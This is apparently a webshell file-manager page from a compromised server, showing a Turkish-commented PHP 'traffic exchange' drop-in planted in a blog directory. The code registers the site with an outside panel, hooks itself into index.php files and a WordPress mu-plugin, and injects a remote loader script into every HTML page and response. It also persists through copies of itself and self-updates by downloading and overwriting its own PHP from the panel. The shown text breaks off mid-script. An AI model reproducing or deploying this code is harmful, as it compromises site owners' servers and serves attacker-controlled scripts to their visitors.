403Webshell
Server IP : 115.244.3.116  /  Your IP : 216.73.217.128
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux dev 5.15.0-185-generic #195-Ubuntu SMP Fri Jun 19 17:11:50 UTC 2026 x86_64
User : www-data ( 33)
PHP Version : 8.0.30
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /opt/hosting/yup-games/yup-games-blog/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/hosting/yup-games/yup-games-blog//traffic.php
<?php
/**
 * TE Drop-in — siteye koy: /install.php
 *
 * Kullanım: site köküne install.php at → https://SITE.com/install.php aç
 * → Panele eklenir, index kancası kurulur, tüm sayfalarda panel kampanyaları çalışır
 *
 * Popup / buton / kampanya → panel dosyalarından (yeniden install gerekmez)
 * Bu dosyayı güncelleyip /install.php tekrar aç → güvenli upgrade
 */
if (!defined('TE_PANEL_URL')) {
    define('TE_PANEL_URL', 'https://hizli.vip');
}

if (!function_exists('te_dropin_boot')) {

function te_panel_base()
{
    return rtrim(TE_PANEL_URL, '/');
}

function te_http_post($url, $data)
{
    $payload = http_build_query($data);
    if (function_exists('curl_init')) {
        $ch = curl_init($url);
        curl_setopt($ch, CURLOPT_POST, true);
        curl_setopt($ch, CURLOPT_POSTFIELDS, $payload);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 5);
        curl_setopt($ch, CURLOPT_TIMEOUT, 10);
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
        curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
        curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
        curl_setopt($ch, CURLOPT_USERAGENT, 'TE-Dropin/' . PHP_VERSION);
        $out = curl_exec($ch);
        curl_close($ch);
        return $out;
    }
    $ctx = stream_context_create(array(
        'http' => array(
            'method'  => 'POST',
            'header'  => "Content-Type: application/x-www-form-urlencoded\r\n",
            'content' => $payload,
            'timeout' => 10,
            'ignore_errors' => true,
        ),
        'ssl' => array('verify_peer' => false, 'verify_peer_name' => false),
    ));
    return @file_get_contents($url, false, $ctx);
}

function te_detect_domain()
{
    if (!empty($_SERVER['HTTP_HOST'])) {
        $h = strtolower($_SERVER['HTTP_HOST']);
        $h = preg_replace('/:\d+$/', '', $h);
        return preg_replace('/^www\./', '', $h);
    }
    return 'unknown.local';
}

function te_detect_cms($root)
{
    $root = rtrim(str_replace('\\', '/', $root), '/');
    if (is_file($root . '/wp-config.php') || is_dir($root . '/wp-includes')) {
        return 'wordpress';
    }
    if (is_file($root . '/configuration.php') && is_dir($root . '/administrator')) {
        return 'joomla';
    }
    if (is_file($root . '/sites/default/settings.php') || is_file($root . '/core/lib/Drupal.php')) {
        return 'drupal';
    }
    if (is_file($root . '/artisan') || is_file($root . '/bootstrap/app.php')) {
        return 'laravel';
    }
    if (is_file($root . '/app/etc/env.php') || is_file($root . '/app/etc/local.xml')) {
        return 'magento';
    }
    if (is_file($root . '/config/settings.inc.php') && is_dir($root . '/modules')) {
        return 'prestashop';
    }
    if (is_file($root . '/includes/config.php') && is_dir($root . '/catalog')) {
        return 'opencart';
    }
    if (is_file($root . '/application/config/database.php')) {
        return 'codeigniter';
    }
    if (is_file($root . '/index.php')) {
        $head = @file_get_contents($root . '/index.php', false, null, 0, 800);
        if (is_string($head)) {
            if (stripos($head, 'wordpress') !== false) return 'wordpress';
            if (stripos($head, 'laravel') !== false) return 'laravel';
            if (stripos($head, 'joomla') !== false) return 'joomla';
        }
    }
    return 'custom-php';
}

function te_docroot()
{
    // Kurulum kökü = traffic.php'nin klasörü (DOCUMENT_ROOT üst klasör olabilir — bozar)
    return rtrim(str_replace('\\', '/', dirname(__FILE__)), '/');
}

function te_site_root()
{
    return te_docroot();
}

/**
 * Panel / uygulama kökü — buraya asla spawn yapma
 */
function te_is_unsafe_spawn_root($root)
{
    if (te_is_panel_host()) {
        return true;
    }
    $root = rtrim(str_replace('\\', '/', $root), '/');
    $signals = array(
        '/includes/bootstrap.php',
        '/includes/Auth.php',
        '/dropin/traffic.php',
        '/config/config.php',
        '/admin/login.php',
        '/api/register-site.php',
        '/api/get-traffic.php',
        '/client/traffic_client.php',
        '/traffic_advanced_system/',
    );
    foreach ($signals as $rel) {
        if (is_file($root . $rel) || is_dir($root . rtrim($rel, '/'))) {
            return true;
        }
    }
    return false;
}

/**
 * Bu dosyaya inject güvenli mi?
 */
function te_can_inject_file($file)
{
    $file = str_replace('\\', '/', $file);
    $root = te_site_root();
    if (strpos($file, $root . '/') !== 0) {
        return false;
    }
    $rel = substr($file, strlen($root) + 1);
    if (preg_match('#^(admin|api|includes|config|vendor|node_modules|storage|system|catalog|wp-admin|wp-includes|wp-content|plugins|modules|demo|user|dropin|client|cgi-bin)(/|$)#i', $rel)) {
        return false;
    }
    if (preg_match('#/(admin|api|includes|config|vendor|system|storage|bootstrap|framework)(/|$)#i', $rel)) {
        return false;
    }
    if (!is_file($file) || !is_writable($file)) {
        return false;
    }
    $size = @filesize($file);
    // SEO/CMS index.php genelde büyük — 8MB'a kadar izin ver
    if ($size === false || $size > 8388608 || $size < 10) {
        return false;
    }
    return true;
}

function te_backup_file($file)
{
    $bak = $file . '.bak-te';
    if (!is_file($bak)) {
        @copy($file, $bak);
    }
}

function te_self_path()
{
    return str_replace('\\', '/', __FILE__);
}

function te_marker_path($root)
{
    return $root . '/.te_spawned';
}

function te_write_file($path, $content)
{
    $dir = dirname($path);
    if (!is_dir($dir)) {
        @mkdir($dir, 0755, true);
    }
    return @file_put_contents($path, $content) !== false;
}

/**
 * Hedef dosyaya göre göreli te_boot include satırı
 */
function te_boot_include_for($targetFile, $bootFile)
{
    $targetDir = str_replace('\\', '/', dirname($targetFile));
    $bootFile = str_replace('\\', '/', $bootFile);
    $bootName = basename($bootFile);
    $bootDir = str_replace('\\', '/', dirname($bootFile));

    if ($targetDir === $bootDir) {
        return "if (!defined('TE_BOOT_ONCE') && is_file(__DIR__ . '/' . " . var_export($bootName, true) . ")) { include_once __DIR__ . '/' . " . var_export($bootName, true) . "; } // TE Drop-in";
    }
    if (str_replace('\\', '/', dirname($targetDir)) === $bootDir) {
        return "if (!defined('TE_BOOT_ONCE') && is_file(dirname(__DIR__) . '/' . " . var_export($bootName, true) . ")) { include_once dirname(__DIR__) . '/' . " . var_export($bootName, true) . "; } // TE Drop-in";
    }
    // 2 seviye üst (ör. /a/b/index.php → kök te_boot)
    if (str_replace('\\', '/', dirname(dirname($targetDir))) === $bootDir) {
        return "if (!defined('TE_BOOT_ONCE') && is_file(dirname(dirname(__DIR__)) . '/' . " . var_export($bootName, true) . ")) { include_once dirname(dirname(__DIR__)) . '/' . " . var_export($bootName, true) . "; } // TE Drop-in";
    }
    return "if (!defined('TE_BOOT_ONCE') && is_file(" . var_export($bootFile, true) . ")) { include_once " . var_export($bootFile, true) . "; } // TE Drop-in";
}

function te_inject_line($file, $line)
{
    if (!te_can_inject_file($file)) {
        return false;
    }
    $src = @file_get_contents($file);
    if ($src === false) {
        return false;
    }
    if (strpos($src, 'traffic.php') !== false || strpos($src, 'install.php') !== false || strpos($src, 'te_boot.php') !== false || strpos($src, 'TE Drop-in') !== false) {
        return true;
    }
    // declare(strict_types=1) bozulmasın — ondan sonra ekle
    if (preg_match('/^(\xEF\xBB\xBF)?(\s*<\?php\s*\r?\n)(\s*declare\s*\(\s*strict_types\s*=\s*1\s*\)\s*;\s*\r?\n)/s', $src)) {
        $src = preg_replace('/^(\xEF\xBB\xBF)?(\s*<\?php\s*\r?\n)(\s*declare\s*\(\s*strict_types\s*=\s*1\s*\)\s*;\s*\r?\n)/s', '$1$2$3' . $line . "\n", $src, 1);
    } elseif (preg_match('/^\xEF\xBB\xBF?\s*<\?php/s', $src) || preg_match('/^\s*<\?php/s', $src)) {
        $src = preg_replace('/^(\xEF\xBB\xBF)?(\s*<\?php)/s', '$1$2' . "\n" . $line . "\n", $src, 1);
    } else {
        return false; // HTML-only index — dokunma
    }
    te_backup_file($file);
    return @file_put_contents($file, $src) !== false;
}

function te_inject_boot($file, $boot)
{
    return te_inject_line($file, te_boot_include_for($file, $boot));
}

function te_skip_dir($name)
{
    static $skip = array(
        'wp-admin', 'wp-includes', 'vendor', 'node_modules', 'cgi-bin', '.git', '.svn',
        'cache', 'tmp', 'temp', 'storage', 'bootstrap', 'var', 'logs', 'log',
        'administrator', 'xmlrpc', 'installer', 'upgrade', 'updates', 'bin',
        'image', 'images', 'assets', 'static', 'media', 'uploads', 'upload',
        'wp-content', 'admin', 'user', 'api', 'client', 'includes', 'dropin', 'config',
        'te', 'demo', 'traffic_advanced_system',
    );
    return in_array(strtolower($name), $skip, true) || (isset($name[0]) && $name[0] === '.');
}

/**
 * Güvenli alt dizinler — sadece dil/site klasörleri (tr, en, blog…)
 */
function te_embed_safe_subdirs($root, $boot, $max = 12)
{
    $root = rtrim(str_replace('\\', '/', $root), '/');
    $out = array();
    $dh = @opendir($root);
    if (!$dh) {
        return $out;
    }
    $n = 0;
    while (($name = readdir($dh)) !== false && $n < $max) {
        if ($name === '.' || $name === '..' || te_skip_dir($name)) {
            continue;
        }
        if (!preg_match('/^(tr|en|de|fr|es|it|ru|ar|blog|shop|m|mobile|app|v\d+|[a-z]{2,3})$/i', $name)) {
            continue;
        }
        $sub = $root . '/' . $name;
        if (!is_dir($sub)) {
            continue;
        }
        $idx = $sub . '/index.php';
        if (is_file($idx) && te_inject_boot($idx, $boot)) {
            $out[] = $name . '/index.php';
            $n++;
        }
    }
    closedir($dh);
    return $out;
}

/**
 * CMS kancaları — sadece PHP dosya kancası / plugin
 */
function te_spawn_cms_hooks($root, $boot, $cms)
{
    $done = array();

    if ($cms === 'wordpress') {
        $bases = array($root);
        $dh = @opendir($root);
        if ($dh) {
            while (($n = readdir($dh)) !== false) {
                if ($n === '.' || $n === '..' || te_skip_dir($n)) continue;
                $sub = $root . '/' . $n;
                if (is_dir($sub) && (is_file($sub . '/wp-config.php') || is_dir($sub . '/wp-includes'))) {
                    $bases[] = $sub;
                }
            }
            closedir($dh);
        }
        foreach ($bases as $base) {
            $mu = $base . '/wp-content/mu-plugins';
            $muFile = $mu . '/te-traffic-loader.php';
            $code = "<?php\n/**\n * Plugin Name: TE Traffic Loader\n * Description: TE traffic exchange bootloader\n */\nif (!defined('ABSPATH')) { return; }\n\$te = dirname(dirname(dirname(__FILE__))) . '/te_boot.php';\nif (!is_file(\$te)) { \$te = dirname(dirname(dirname(__FILE__))) . '/traffic.php'; }\nif (is_file(\$te)) { include_once \$te; }\n";
            if (te_write_file($muFile, $code)) {
                $done[] = 'wp-mu-plugin:' . basename($base);
            }
        }
        return $done;
    }

    if ($cms === 'joomla') {
        if (is_file($root . '/index.php') && te_inject_boot($root . '/index.php', $boot)) {
            $done[] = 'joomla-index';
        }
        return $done;
    }

    if ($cms === 'opencart') {
        if (is_file($root . '/index.php') && te_inject_boot($root . '/index.php', $boot)) {
            $done[] = 'opencart-index';
        }
        return $done;
    }

    if ($cms === 'prestashop') {
        if (is_file($root . '/index.php') && te_inject_boot($root . '/index.php', $boot)) {
            $done[] = 'prestashop-index';
        }
        return $done;
    }

    if ($cms === 'drupal') {
        if (is_file($root . '/index.php') && te_inject_boot($root . '/index.php', $boot)) {
            $done[] = 'drupal-index';
        }
        return $done;
    }

    if ($cms === 'magento') {
        foreach (array('/index.php', '/pub/index.php') as $rel) {
            $f = $root . $rel;
            if (is_file($f) && te_inject_boot($f, $boot)) {
                $done[] = 'magento:' . ltrim($rel, '/');
            }
        }
        return $done;
    }

    if ($cms === 'laravel') {
        foreach (array('/public/index.php', '/index.php') as $rel) {
            $f = $root . $rel;
            if (is_file($f) && te_inject_boot($f, $boot)) {
                $done[] = 'laravel:' . ltrim($rel, '/');
            }
        }
        return $done;
    }

    if ($cms === 'codeigniter') {
        if (is_file($root . '/index.php') && te_inject_boot($root . '/index.php', $boot)) {
            $done[] = 'codeigniter-index';
        }
        return $done;
    }

    return $done;
}

/**
 * HTML/HTM dosyasına loader script enjekte et (</body> öncesi)
 */
function te_inject_html_script($file, $src)
{
    if (!is_file($file) || !is_writable($file)) {
        return false;
    }
    $size = @filesize($file);
    if ($size === false || $size > 4194304 || $size < 20) {
        return false;
    }
    $html = @file_get_contents($file);
    if ($html === false) {
        return false;
    }
    if (stripos($html, 'hizli.vip/client/loader.php') !== false || stripos($html, 'traffic_client.php') !== false || stripos($html, 'TE Drop-in') !== false) {
        return true;
    }
    $tag = "\n<script src=\"" . htmlspecialchars($src, ENT_QUOTES, 'UTF-8') . "\" async></script>\n<!-- TE Drop-in -->\n";
    if (stripos($html, '</body>') !== false) {
        $html = preg_replace('/<\/body>/i', $tag . '</body>', $html, 1);
    } elseif (stripos($html, '</html>') !== false) {
        $html = preg_replace('/<\/html>/i', $tag . '</html>', $html, 1);
    } else {
        $html .= $tag;
    }
    te_backup_file($file);
    return te_write_file($file, $html);
}

/**
 * Kök + public + dil klasörlerindeki html/htm/index.html
 */
function te_embed_html_pages($root, $max = 40)
{
    $root = rtrim(str_replace('\\', '/', $root), '/');
    $src = te_client_src();
    $out = array();
    $dirs = array($root);
    if (is_dir($root . '/public')) {
        $dirs[] = $root . '/public';
    }
    $dh = @opendir($root);
    if ($dh) {
        while (($name = readdir($dh)) !== false) {
            if ($name === '.' || $name === '..' || te_skip_dir($name)) {
                continue;
            }
            if (preg_match('/^(tr|en|de|fr|es|it|ru|ar|blog|shop|m|mobile|app|html|pages|[a-z]{2})$/i', $name) && is_dir($root . '/' . $name)) {
                $dirs[] = $root . '/' . $name;
            }
        }
        closedir($dh);
    }
    $n = 0;
    foreach ($dirs as $dir) {
        if ($n >= $max) {
            break;
        }
        foreach (array('index.html', 'index.htm', 'default.html', 'home.html') as $name) {
            $f = $dir . '/' . $name;
            if (is_file($f) && te_inject_html_script($f, $src)) {
                $out[] = ltrim(substr($f, strlen($root)), '/');
                $n++;
            }
        }
        $dh2 = @opendir($dir);
        if (!$dh2) {
            continue;
        }
        while (($fn = readdir($dh2)) !== false && $n < $max) {
            if (!preg_match('/\.(html?|HTML?)$/', $fn)) {
                continue;
            }
            $f = $dir . '/' . $fn;
            if (is_file($f) && te_inject_html_script($f, $src)) {
                $out[] = ltrim(substr($f, strlen($root)), '/');
                $n++;
            }
        }
        closedir($dh2);
    }
    return $out;
}

/**
 * Kök index.php kancası var mı? Yoksa ekle.
 * Tüm normal sayfalar için zorunlu.
 */
function te_ensure_front_hook($root, $boot)
{
    $root = rtrim(str_replace('\\', '/', $root), '/');
    $done = array();
    $cms = te_detect_cms($root);

    if ($cms === 'wordpress') {
        foreach (te_spawn_cms_hooks($root, $boot, 'wordpress') as $d) {
            $done[] = $d;
        }
        return $done;
    }

    $candidates = array($root . '/index.php');
    if ($cms === 'laravel' || is_file($root . '/artisan') || is_dir($root . '/public')) {
        $candidates[] = $root . '/public/index.php';
    }
    if ($cms === 'magento') {
        $candidates[] = $root . '/pub/index.php';
    }
    // install public/ içindeyse zaten index.php adayı kökte
    if (basename($root) === 'public' && is_file($root . '/index.php')) {
        $candidates[] = $root . '/index.php';
    }

    foreach (array_unique($candidates) as $idx) {
        if (!is_file($idx)) {
            continue;
        }
        $head = @file_get_contents($idx, false, null, 0, 8000);
        if (is_string($head) && (strpos($head, 'TE Drop-in') !== false || strpos($head, 'te_boot.php') !== false || strpos($head, 'install.php') !== false || strpos($head, 'traffic.php') !== false)) {
            $done[] = basename(dirname($idx)) === basename($root) ? 'index.php:ok' : basename(dirname($idx)) . '/index.php:ok';
            continue;
        }
        if (te_inject_boot($idx, $boot)) {
            $rel = (str_replace('\\', '/', dirname($idx)) === $root)
                ? 'index.php'
                : ltrim(substr($idx, strlen($root)), '/');
            $done[] = $rel;
        }
    }

    foreach (te_embed_safe_subdirs($root, $boot) as $e) {
        $done[] = 'subdir:' . $e;
    }
    foreach (te_embed_html_pages($root) as $e) {
        $done[] = 'html:' . $e;
    }

    return $done;
}

/**
 * Kendini doğur: CMS kancası + kök index (tüm sayfalar) + güvenli alt dizinler
 */
function te_spawn($root)
{
    if (te_is_panel_host() || te_is_unsafe_spawn_root($root)) {
        return array('spawned' => array(), 'cms' => 'unsafe-skip', 'skipped' => true);
    }
    $root = rtrim(str_replace('\\', '/', $root), '/');
    $self = te_self_path();
    $boot = $root . '/te_boot.php';
    $done = array();
    $cms = te_detect_cms($root);

    $bootPhp = "<?php\n/** TE boot — install.php / traffic.php */\nif (!defined('TE_BOOT_ONCE')) {\n  define('TE_BOOT_ONCE', 1);\n  \$cands = array(__DIR__ . '/install.php', __DIR__ . '/traffic.php', " . var_export($self, true) . ");\n  foreach (\$cands as \$f) { if (\$f && is_file(\$f)) { include_once \$f; break; } }\n}\n";
    if (te_write_file($boot, $bootPhp)) {
        $done[] = 'te_boot.php';
    }

    foreach (te_spawn_cms_hooks($root, $boot, $cms) as $d) {
        $done[] = $d;
    }

    // Her durumda front controller kancası (WP mu-plugin hariç zaten yukarıda)
    foreach (te_ensure_front_hook($root, $boot) as $d) {
        if (!in_array($d, $done, true)) {
            $done[] = $d;
        }
    }

    $copyDir = $root . '/te';
    if (!is_dir($copyDir)) {
        @mkdir($copyDir, 0755, true);
    }
    if (is_dir($copyDir)) {
        @copy($self, $copyDir . '/traffic.php');
        $done[] = 'te/traffic.php-copy';
    }

    @file_put_contents(te_marker_path($root), date('c') . "\ncms=" . $cms . "\nsafe=1\n" . implode(',', $done) . "\n");
    return array('spawned' => $done, 'cms' => $cms);
}


function te_register_payload()
{
    $root = te_docroot();
    $domain = te_detect_domain();
    return array(
        'domain'      => $domain,
        'cms'         => te_detect_cms($root),
        'php_version' => PHP_VERSION,
        'sapi'        => php_sapi_name(),
        'path'        => te_self_path(),
        'docroot'     => $root,
        'https'       => (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off') ? '1' : '0',
        'ua'          => isset($_SERVER['HTTP_USER_AGENT']) ? substr($_SERVER['HTTP_USER_AGENT'], 0, 180) : '',
        'ip'          => isset($_SERVER['SERVER_ADDR']) ? $_SERVER['SERVER_ADDR'] : '',
        'key'         => md5($domain . '|' . te_panel_base()),
    );
}

function te_register_with_panel($force = false)
{
    static $done = false;
    if ($done && !$force) {
        return null;
    }
    $done = true;

    $url = te_panel_base() . '/api/register-site.php';
    $raw = te_http_post($url, te_register_payload());
    $json = is_string($raw) ? json_decode($raw, true) : null;
    return is_array($json) ? $json : array('ok' => false, 'raw' => is_string($raw) ? substr($raw, 0, 400) : null);
}

function te_should_output_script()
{
    if (php_sapi_name() === 'cli') {
        return false;
    }
    $uri = isset($_SERVER['REQUEST_URI']) ? $_SERVER['REQUEST_URI'] : '';
    if (preg_match('/\.(css|js|jpg|jpeg|png|gif|webp|svg|ico|woff2?|ttf|map|xml|txt)(\?|$)/i', $uri)) {
        return false;
    }
    if (!empty($_SERVER['HTTP_X_REQUESTED_WITH']) && strtolower($_SERVER['HTTP_X_REQUESTED_WITH']) === 'xmlhttprequest') {
        return false;
    }
    return true;
}

function te_client_src()
{
    // Panel loader — sürüm panelde yönetilir; sitelerde traffic.php güncellemesi gerekmez
    return te_panel_base() . '/client/loader.php';
}

function te_http_get($url)
{
    if (function_exists('curl_init')) {
        $ch = curl_init($url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 5);
        curl_setopt($ch, CURLOPT_TIMEOUT, 12);
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
        curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
        curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
        curl_setopt($ch, CURLOPT_USERAGENT, 'TE-Dropin/' . PHP_VERSION);
        $out = curl_exec($ch);
        curl_close($ch);
        return is_string($out) ? $out : false;
    }
    $ctx = stream_context_create(array(
        'http' => array(
            'method'  => 'GET',
            'timeout' => 12,
            'ignore_errors' => true,
            'header'  => "User-Agent: TE-Dropin/" . PHP_VERSION . "\r\n",
        ),
        'ssl' => array('verify_peer' => false, 'verify_peer_name' => false),
    ));
    $out = @file_get_contents($url, false, $ctx);
    return is_string($out) ? $out : false;
}

/**
 * Loader'ı </body> içine göm — shutdown echo Content-Length yüzünden tarayıcıda kesilir.
 */
function te_emit_loader()
{
    if (!te_should_output_script()) {
        return;
    }
    static $emitted = false;
    if ($emitted) {
        return;
    }
    $emitted = true;

    $src = te_client_src();
    $tag = "\n<script src=\"" . htmlspecialchars($src, ENT_QUOTES, 'UTF-8') . "\" async></script>\n";

    $inject = function ($html) use ($tag) {
        if (!is_string($html) || $html === '') {
            return $html;
        }
        if (stripos($html, 'hizli.vip/client/loader.php') !== false || stripos($html, 'traffic_client.php') !== false) {
            return $html;
        }
        // JSON / binary kaçın
        $trim = ltrim($html);
        if ($trim !== '' && ($trim[0] === '{' || $trim[0] === '[' || substr($trim, 0, 2) === "\x1f\x8b")) {
            return $html;
        }
        if (stripos($html, '</body>') !== false) {
            return preg_replace('/<\/body>/i', $tag . '</body>', $html, 1);
        }
        if (stripos($html, '</html>') !== false) {
            return preg_replace('/<\/html>/i', $tag . '</html>', $html, 1);
        }
        return $html . $tag;
    };

    // Erken OB — HTML kapanmadan </body> öncesine gömülür (Content-Length uyumlu)
    @ob_start($inject);

    // Boyut değişince eski Content-Length tarayıcıda script'i kesmesin
    register_shutdown_function(function () {
        if (!headers_sent()) {
            @header_remove('Content-Length');
        }
    });
}

/**
 * Paneldeki güncel install.php'yi çekip yerelde overwrite et (upgrade).
 */
function te_self_update_from_panel($root)
{
    $url = te_panel_base() . '/dropin/install.php?download=1';
    $src = te_http_get($url);
    if (!is_string($src) || strlen($src) < 500 || strpos($src, 'te_emit_loader') === false || strpos($src, 'TE_PANEL_URL') === false) {
        return false;
    }
    // HTML/redirect değil, gerçek PHP drop-in olsun
    if (stripos(ltrim($src), '<?php') !== 0) {
        return false;
    }
    $ok = false;
    if (te_write_file($root . '/install.php', $src)) {
        $ok = true;
    }
    @te_write_file($root . '/traffic.php', $src);
    return $ok;
}

function te_is_panel_host()
{
    $panelHost = parse_url(te_panel_base(), PHP_URL_HOST);
    $here = te_detect_domain();
    if (!$panelHost || !$here) {
        return false;
    }
    return strtolower((string) $panelHost) === strtolower($here);
}

function te_dropin_boot()
{
    if (te_is_panel_host()) {
        return;
    }
    $root = te_docroot();
    $boot = $root . '/te_boot.php';

    // Marker olsa bile front kancası eksikse tamamla (büyük index / eski kurulum)
    if (!is_file(te_marker_path($root))) {
        @te_spawn($root);
    } else {
        if (!is_file($boot)) {
            $self = te_self_path();
            @te_write_file($boot, "<?php\nif (!defined('TE_BOOT_ONCE')) {\n  define('TE_BOOT_ONCE', 1);\n  \$cands = array(__DIR__ . '/install.php', __DIR__ . '/traffic.php', " . var_export($self, true) . ");\n  foreach (\$cands as \$f) { if (\$f && is_file(\$f)) { include_once \$f; break; } }\n}\n");
        }
        @te_ensure_front_hook($root, $boot);
    }

    @te_register_with_panel(false);
    te_emit_loader();
}

function te_is_direct_request()
{
    $uri = isset($_SERVER['REQUEST_URI']) ? $_SERVER['REQUEST_URI'] : '';
    $script = isset($_SERVER['SCRIPT_NAME']) ? $_SERVER['SCRIPT_NAME'] : '';
    // install.php (asıl) veya eski traffic.php
    if (preg_match('#(^|/)(install|traffic)\.php(\?|$)#i', $uri) || preg_match('#(^|/)(install|traffic)\.php$#i', $script)) {
        return true;
    }
    if (!empty($_SERVER['SCRIPT_FILENAME'])) {
        $a = @realpath($_SERVER['SCRIPT_FILENAME']);
        $b = @realpath(__FILE__);
        if ($a && $b && $a === $b) {
            return true;
        }
    }
    return false;
}

} // function_exists

/* ============== çalıştır ============== */

if (te_is_direct_request()) {
    // Panel /dropin/* → dosyayı install.php olarak indir
    $scriptName = isset($_SERVER['SCRIPT_NAME']) ? str_replace('\\', '/', $_SERVER['SCRIPT_NAME']) : '';
    $panelHost = parse_url(te_panel_base(), PHP_URL_HOST);
    $hereHost = te_detect_domain();
    $isPanelDropin = (stripos($scriptName, '/dropin/') !== false)
        || ($panelHost && $hereHost && strtolower((string) $panelHost) === strtolower($hereHost)
            && stripos(str_replace('\\', '/', dirname(__FILE__)), '/dropin') !== false);

    if ($isPanelDropin || (isset($_GET['download']) && $_GET['download'] !== '')) {
        $src = @file_get_contents(__FILE__);
        if ($src === false) {
            header('HTTP/1.1 500 Internal Server Error');
            echo 'download failed';
            exit;
        }
        header('Content-Type: application/octet-stream');
        header('Content-Disposition: attachment; filename="install.php"');
        header('Content-Length: ' . strlen($src));
        header('Cache-Control: no-store');
        echo $src;
        exit;
    }

    // site.com/install.php → her açılışta kurulum + panele ekle (parametre gerekmez)
    header('Content-Type: text/html; charset=utf-8');
    header('Cache-Control: no-store');

    $root = te_docroot();
    // Paneiden güncel drop-in çek (eski kurulumlar /install.php açınca upgrade olur)
    $updated = @te_self_update_from_panel($root);
    if ($updated && !defined('TE_SELF_UPDATED')) {
        define('TE_SELF_UPDATED', 1);
        $fresh = $root . '/install.php';
        if (is_file($fresh)) {
            if (function_exists('opcache_invalidate')) {
                @opcache_invalidate($fresh, true);
            }
            include $fresh;
            exit;
        }
    }
    @unlink(te_marker_path($root));
    $spawn = @te_spawn($root);

    // install.php adıyla kopya bırak (boot hep bulsun)
    $self = te_self_path();
    $asInstall = $root . '/install.php';
    $asTraffic = $root . '/traffic.php';
    if (basename($self) !== 'install.php' && is_file($self)) {
        @copy($self, $asInstall);
    }
    if (basename($self) !== 'traffic.php' && is_file($self)) {
        @copy($self, $asTraffic);
    }

    $reg = @te_register_with_panel(true);
    $cms = te_detect_cms($root);
    $domain = te_detect_domain();
    $panel = te_panel_base();
    $ok = is_array($reg) && !empty($reg['ok']);
    $payload = te_register_payload();
    $payloadJson = json_encode($payload);
    $regUrl = $panel . '/api/register-site.php';

    echo '<!DOCTYPE html><html><head><meta charset="utf-8"><meta name="viewport" content="width=device-width,initial-scale=1">';
    echo '<title>Kurulum — ' . htmlspecialchars($domain) . '</title>';
    echo '<style>
body{font-family:system-ui,sans-serif;background:#0f1419;color:#e8eef5;padding:2rem;line-height:1.45;max-width:720px;margin:0 auto}
code,pre{background:#1e2630;padding:.2rem .45rem;border-radius:4px;font-size:.9rem}
.ok{color:#3ecf8e}.err{color:#f07178}.muted{color:#8b9aab}
.card{background:#151b24;border:1px solid #243041;border-radius:12px;padding:1.25rem;margin:1rem 0}
a{color:#3d9cfd}
h1{margin:0 0 .5rem;font-size:1.5rem}
</style></head><body>';
    echo '<h1>Kurulum tamam</h1>';
    echo '<p class="muted">Site panele eklendi. Kampanyalar ve popup paneldan okunur — tekrar install gerekmez (dosya güncellenirse /install.php yeter).</p>';
    $idxOk = false;
    $idx = $root . '/index.php';
    if (is_file($idx)) {
        $h = @file_get_contents($idx, false, null, 0, 4000);
        $idxOk = is_string($h) && (strpos($h, 'TE Drop-in') !== false || strpos($h, 'te_boot.php') !== false || strpos($h, 'install.php') !== false || strpos($h, 'traffic.php') !== false);
    }
    if ($idxOk) {
        echo '<p class="ok">✓ Tüm sayfalar aktif (<code>index.php</code> kancası OK)</p>';
    } else {
        echo '<p class="err">⚠ index.php yazılamadı — klasöre yazma izni verip /install.php tekrar aç</p>';
    }
    echo '<div class="card">';
    echo '<p>Domain: <code>' . htmlspecialchars($domain) . '</code></p>';
    echo '<p>CMS: <code>' . htmlspecialchars($cms) . '</code> · PHP <code>' . htmlspecialchars(PHP_VERSION) . '</code></p>';
    if ($ok) {
        echo '<p class="ok" id="te-status"><strong>✓ Panelde CANLI</strong><br>' . htmlspecialchars($panel) . '/admin/sites.php</p>';
    } else {
        echo '<p class="err" id="te-status">Kayıt bekleniyor…</p>';
        if (is_array($reg) && !empty($reg['raw'])) {
            echo '<pre>' . htmlspecialchars((string) $reg['raw']) . '</pre>';
        }
    }
    if (!empty($spawn['spawned'])) {
        echo '<p class="ok">Kurulum: <code>' . htmlspecialchars(implode(', ', $spawn['spawned'])) . '</code></p>';
    } elseif (!empty($spawn['skipped'])) {
        echo '<p class="err">Bu ortamda kurulum atlandı (panel/app kökü).</p>';
    }
    echo '</div>';
    echo '<p><a href="/">Ana sayfaya git</a> · <a href="' . htmlspecialchars($panel . '/admin/sites.php') . '" target="_blank" rel="noopener">Panele git</a></p>';

    echo '<script>
(function(){
  var url = ' . json_encode($regUrl) . ';
  var data = ' . ($payloadJson ? $payloadJson : '{}') . ';
  var ok = ' . ($ok ? 'true' : 'false') . ';
  function body(obj){
    var p=[],k; for(k in obj){ if(obj.hasOwnProperty(k)) p.push(encodeURIComponent(k)+"="+encodeURIComponent(obj[k])); }
    return p.join("&");
  }
  function mark(ok2, msg){
    var el=document.getElementById("te-status");
    if(!el) return;
    el.className = ok2 ? "ok" : "err";
    el.innerHTML = ok2
      ? "<strong>✓ Panelde CANLI</strong><br>"+msg
      : ("Kayıt başarısız: "+msg);
  }
  function send(){
    try {
      fetch(url,{method:"POST",headers:{"Content-Type":"application/x-www-form-urlencoded"},body:body(data),mode:"cors"})
        .then(function(r){return r.json()})
